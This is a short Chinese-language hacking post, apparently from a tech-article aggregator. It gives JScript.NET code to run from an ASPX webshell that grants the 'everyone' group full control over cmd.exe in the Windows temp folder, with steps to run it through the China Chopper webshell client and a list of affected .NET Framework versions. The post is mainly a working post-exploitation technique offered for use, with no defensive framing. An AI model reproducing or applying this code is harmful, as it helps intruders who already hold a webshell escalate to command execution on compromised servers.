aspxshell下突破無可寫可執行目錄執行cmd

try
{

var strPath:String = "c:\\windows\\temp\\cmd.exe", strUser:String = "everyone";
var dirinfo:System.IO.DirectoryInfo = new System.IO.DirectoryInfo(strPath);

var dirsecurity:System.Security.AccessControl.DirectorySecurity = dirinfo.GetAccessControl();

dirsecurity.AddAccessRule(new System.Security.AccessControl.FileSystemAccessRule(strUser,
    System.Security.AccessControl.FileSystemRights.FullControl,
    System.Security.AccessControl.AccessControlType.Allow));

dirinfo.SetAccessControl(dirsecurity);
Response.Write(strPath+"\t權限添加成功!");

}catch(x){Response.Write(x.Message);}

  保存爲cmd.ccc,使用菜刀自寫腳本運行便可突破windows

受影響的版本爲:

Microsoft .NET Framework 2.0 

Microsoft .NET Framework 3.5

Microsoft .NET Framework 3.5.1

Microsoft .NET Framework 4

Microsoft .NET Framework 4.5

Microsoft .NET Framework 4.5.1安全

 

利用條件:

1.須要支持aspx而且高於Microsoft .NET Framework 1.14版本

2.安全模式除外(如今尚未能突破.net安全模式的方法)

漏洞說明:該漏洞可直接賦予文件權限(讓沒權限的文件執行).net

相關文章
相關標籤/搜索